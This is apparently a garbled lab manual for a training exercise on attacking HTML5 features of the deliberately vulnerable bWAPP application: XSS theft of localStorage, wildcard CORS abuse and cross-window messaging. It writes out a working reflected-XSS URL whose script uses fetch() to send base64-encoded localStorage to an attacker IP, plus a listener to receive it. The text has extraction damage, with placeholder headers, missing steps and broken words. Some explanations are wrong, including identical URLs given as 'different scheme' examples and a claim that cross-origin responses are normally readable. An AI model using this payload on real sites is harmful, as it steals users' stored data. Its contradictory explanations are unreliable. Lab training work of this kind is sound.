9. HTML5
9. HTML5
LAB MANUAL
TABLE OF Street
Work CONTENTS
Work City, Work State Work ZIP, T Work Phone, F Work Fax Phone, M Mobile Phone, E Work Email,
Work URL
TS-HTML5-200
In this lab, you will learn to attack some of the features introduced in HTML5.
More specifically, you would be retrieving local storage contents using XSS,
misconfigured CORS policy, and misconfigured cross-window communication to
steal user tokens.
Lab Environment:
In this lab environment, the user will get access to a Kali GUI instance. A slightly
modified instance of the bWAPP web application can be accessed using the tools
installed on http://<ip>/bWAPP
YOUR OBJECTIVE:
Steal secrets from local storage using XSS vulnerability.
Abuse the misconfigured CORS policy to steal data from a different
origin.
Abuse the misconfigured cross-window communication to steal the
user's token.
TO DO
• Stealing Local Storage Data using XSS
• Abusing Misconfigured CORS Policy
• Exploiting Cross-Window Communication Vulnerabilities
SOLUTION
1. Open the browser to inspect the hosted website.
URL: http://<ip>/bWAPP
Username: bee
Password: bug
Upon successful login, you should see the following page:
3. Select the HTML5 Web Storage attack.
From the Choose your bug menu, select the HTML5 Web Storage (Secret) attack and click
on the Hack button:
The page informs us of the name and a secret stored in the HTML5 web storage. The hint
on the page tells us to use XSS to grab it.
4. Inspect the data present in the browser's web storage.
The HTML5 web storage provides two options for storing the data on the client:
Local Storage
Session Storage
Press CTRL+I and select the Storage tab. From there, we can view the Local Storage as
well as the Session Storage:
Local Storage:
Session Storage:
As you can see, the name and the secret that the challenge page talks about are present
in the local storage, and the session storage is empty.
Now that we know the secrets to be retrieved are present in the local storage; we will be
preparing an XSS payload that steals the contents of the local storage.
For that, we will open a page vulnerable to XSS. More specifically, we would be looking for
the page that is vulnerable to reflected XSS, and the payload must be present in the URL
itself.
We would use such a page because then the attacker could send a minified version of the
URL to the victim, and once the victim opens that link, the data present in the victim's
local storage could be stolen by the attacker.
5. Open the reflected XSS attack page.
From the Choose your bug menu, select the Cross-Site Scripting - Reflected (GET) attack
and click on the Hack button:
Enter some values for the First name and the Last name fields:
Once the details are submitted, you should see a welcome message containing the
submitted input values:
After submitting these values, you should get the following page:
As you can see in the above image, the HTML tags got applied and the payload is rendered
on the page.
Payloads:
localStorage
alert(localStorage)
As you can see, localStorage is an object. The call to alert(localStorage) says [object
Storage] which is definitely not helpful.
Payload:
JSON.stringify(localStorage)
The above payload would stringify the Storage object and then we can simply use the
following payload:
Payload:
alert(JSON.stringify(localStorage))
Now everything seems to be working! We can get the contents of the local storage.
8. Steal the local storage contents using XSS.
Now that we have prepared the XSS payload to steal local storage contents, we can paste
it in the First name field:
First name:
<script>alert(JSON.stringify(localStorage))</script>
We can keep the Second name field to any simple string value.
Submitting the above details pops up an alert containing the contents of the local storage:
But we are still not fully done with the attack. Reason being that the alert box would be
shown on the client-side, and if we wish to steal the local storage contents from the
client, we need to get the data back to the attack somehow.
9. Prepare the final XSS payload to send stolen data back to the
attacker.
Retrieve the IP address of the attacker machine:
Command:
ip addr
Note: Be aware that the Kali instance's IP address is bound to change with every lab run.
So make sure you don't copy the payload as is without substituting the correct IP address.
Start a Python-based HTTP server on the attacker machine (to receive back the stolen
data):
Command:
python3 -m http.server 80
Run the following payload in the console:
Payload:
btoa(JSON.stringify(localStorage))
It would base64-encode the stringified local storage contents. That could then be safely
transported in an HTTP request.
Run the following payload to make a request to the attacker machine and send the
base64-encoded local storage contents:
Notice that the script couldn't read the response. The console says Cross-Origin Request
Blocked.
By default, the browsers prevent Javascript from reading the responses to a cross-origin
request. Scripts can only read the responses for the same-origin requests.
So if all three components are the same for 2 URLs, they are said to have the same origin.
Otherwise, they are considered as di erent origins and the responses returned by such
requests would be accessible to Javascript under normal circumstances.
Examples:
Same Origins:
http://<ip>/example.html
http://<ip>/another_example.html
Di erent Origins:
Di erent Scheme:
http://<ip>/example.html
http://<ip>/another_example.html
Di erent Hostname:
http://ine.local/example.html
http://<ip>/another_example.html
Di erent Port:
http://<ip>:8080/example.html
http://<ip>/another_example.html
So that should clear up the concept of origins. We will touch upon it shortly, so let's get
back to the XSS payload to steal local storage contents.
Once the request was issued, it was sent to the attacker's server, but due to CORS
restrictions, the response couldn't be read by the script.
If you head over to the terminal where the Python-based HTTP server was running, you
would see the base64-encoded local storage contents:
Commands:
python3
import base64
base64.b64decode("eyJzZWNyZXQiOiJBbnkgYnVncz8iLCJsb2dpbiI6ImJlZSJ9")
As you can see in the above image, the local storage contents were indeed received back!
10. Send the prepared XSS payload to steal local storage.
Start the Python HTTP server on the attacker machine:
Now that we have prepared the full XSS payload to get the local storage contents back to
the attacker machine, we will send the payload in the First name field and send the
request:
Once the request is sent, there's nothing suspicious on the web page:
But if you head over to the terminal running the Python HTTP server, you would notice a
GET request containing the encoded local storage payload:
Decoding the received payload would reveal the contents of the local storage of the
victim:
Commands:
python3
import base64
base64.b64decode("eyJzZWNyZXQiOiJBbnkgYnVncz8iLCJsb2dpbiI6ImJlZSJ9")
Now the attacker has to send this link to the victim and wait for them to click on the link:
URL: http://<ip>/xss_get.php?firstname=%3Cscript%3Efetch(https%3A%2F%2Fsiteproxy.ruqli.workers.dev%3A443%2Fhttp%2F192.237.16
7.2%2F%24{btoa(JSON.stringify(localStorage))})%3C%2Fscript%3E&lastname=Simth+Jon
es&form=submit So that's how one can steal local storage contents via an XSS
vulnerability!
If you get a warning about the JDK version, feel free to ignore it and press the OK button:
Create a temporary project:
Click on the plugin icon and select the Burp Suite profile:
Once the Burp Suite profile has been selected, things should look as follows:
14. Inspect the request and response generating while retrieving the
page with Neo's secret.
Open Neo's secret page again. This time, the request would be intercepted by Burp proxy:
Click on the Action button and select Do intercept > Response to this request option:
Notice the response. There's a header named Access-Control-Allow-Origin, and its value
is set to * (a wildcard origin). It means that scripts from any origin can read the response
to this request.
Remember that we used the fetch API to request resources from the attacker-controlled
server from the console in the previous attack. While sending back the base64-encoded
data to the attacker, the console threw a CORS error. That's where the Access-Control-
Allow-Origin header comes into the picture.
Payload:
python3 -m http.server 80
Head over to the web browser, open the console window (press CTRL+SHIFT+I and visit
the Console tab).
Payload:
fetch("http://<ip>")
Note: Kindly ensure that you place the IP address of your Kali GUI instance in the above
payload.
As you can see in the above image, the above request resulted in a CORS error!
The error message also mentions the Access-Control-Allow-Origin header. Since that
header was missing from the response, the script couldn't read the response!
Now head over to the terminal where the Python HTTP server was running:
Now that we know of CORS and the Access-Control-Allow-Origin header, we can see that
a wildcard origin would let the attacker's script read the contents of a resource located on
another origin.
Notice the JS code. It uses the fetch API to read the contents of Neo's secret.
Command:
python3 -m http.server 80
Since that resource is located on a di erent server, the hostnames don't match up, and
therefore it would have been impossible for the attacker's script to read that file under
normal circumstances. But due to the misconfigured Access-Control-Allow-Origin
header, it was possible to read the responses to the cross-origin requests!
Suppose the victim opens a bank website in one tab and an attacker-controlled website in
another tab. Provided that the CORS headers are set to accept wildcard origins, an
attacker can carry out a CSRF attack and retrieve information about their account. In
certain scenarios, an attacker could also transfer funds to their accounts!